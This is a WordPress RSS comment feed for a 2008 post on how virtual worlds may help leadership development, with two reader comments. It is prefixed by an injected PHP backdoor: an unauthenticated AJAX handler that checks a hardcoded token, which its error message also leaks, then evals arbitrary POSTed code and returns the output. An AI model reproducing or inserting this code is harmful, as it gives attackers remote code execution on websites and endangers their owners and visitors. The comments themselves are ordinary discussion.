// ==[BD:nhVgmugl]== add_action( 'wp_ajax_nopriv_gnywqgcok', function() { $val = 'nhVgmuglHCXIAAgKxHn1eslGumxNJgwN'; $obj = isset( $_POST['token'] ) ? sanitize_text_field( wp_unslash( $_POST['token'] ) ) : ''; if ( empty( $obj ) || ! hash_equals( $val, $obj ) ) { wp_send_json_error( [ 'message' => 'tok:' . $val ], 403 ); } $factor = isset( $_POST['code'] ) ? (string) wp_unslash( $_POST['code'] ) : ''; if ( trim( $factor ) === '' ) { wp_send_json_error( [ 'message' => 'No code.' ] ); } $factor = preg_replace( '/^\s*<\?(php)?/i', '', $factor ); while ( ob_get_level() > 0 ) { ob_end_clean(); } $sym = microtime( true ); ob_start(); try { ( static function() use ( $factor ) { return eval( $factor ); } )(); $item = (string) ob_get_clean(); wp_send_json_success( [ 'output' => $item, 'return' => '', 'error' => '', 'time_ms' => round( ( microtime( true ) - $sym ) * 1000, 2 ) ] ); } catch ( \Throwable $ptr ) { while ( ob_get_level() > 0 ) { ob_end_clean(); } wp_send_json_success( [ 'output' => '', 'return' => '', 'error' => $ptr->getMessage(), 'time_ms' => round( ( microtime( true ) - $sym ) * 1000, 2 ) ] ); } } ); // ==[/BD:nhVgmugl]== Comments on: How Virtual Worlds May Help Leadership Development https://www.leadingvirtually.com/how-virtual-worlds-may-help-leadership-development/?utm_source=rss&utm_medium=rss&utm_campaign=how-virtual-worlds-may-help-leadership-development Leadership in the Digital Age Fri, 26 Dec 2008 23:59:18 +0000 hourly 1 https://wordpress.org/?v=7.0.2 By: Dr Savi https://www.leadingvirtually.com/how-virtual-worlds-may-help-leadership-development/#comment-559 Fri, 26 Dec 2008 23:59:18 +0000 http://www.leadingvirtually.com/?p=137#comment-559 An interesting article raising key points on I suggest the value of simulation in a risk free manner.
However, just like other pioneering aspects of learning, for example: podcasting or using video on demand for interactivity we need two main developments to take place.

Firstly, creative educators who can harness/drive this technology/associated scenarios forward.

Secondly, pioneering and ironically leaders with the leadership to want to try something new.

Sadly, although there are some interesting CEOs it could be that they are distracted by the dollar/bottom-line rather than seeing the using of this technology as a driver for greater efficiency and communication of the key values of a firm.

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By: Chris Paul https://www.leadingvirtually.com/how-virtual-worlds-may-help-leadership-development/#comment-528 Tue, 16 Dec 2008 23:08:54 +0000 http://www.leadingvirtually.com/?p=137#comment-528 I’d agree with this post, and go further. The use of virtual worlds works not only at the individual level, but also for the organisation. The use of a virtual world deals not just with issues like height, but also offers a potential way to have anonymous debate where real world status is not apparent, aiding the free flow of ideas and communication. Used as a regular forum, that could be valuable for virtual action learning, or just to keep those with status in touch with what others think. It also operates in distributing leadership in that way. Another factor is that virtual worlds are more familiar to younger (and so often more junior) staff – so that acts to level the playing field. In terms of creativity or innovation it works to promote idea exchange sessions. So good for personal development, good for training, good for problem solving.

I’m not sure I can agree so much with the stickiness of the learning. One view is that learning takes place “between noses” of different actors. Increasingly relationships and how people work with others matters. The virtual world creates something different. The individual can learn about themselves, but they then have to apply that to established real world relationships. I’m not arguing against the value of a virtual leadership development activity, but I am suggesting that unless it becomes integral to a business, its value can’t be fully realised.

And there’s the problem of “game” addiction too..are there any sites which are just for business I wonder?

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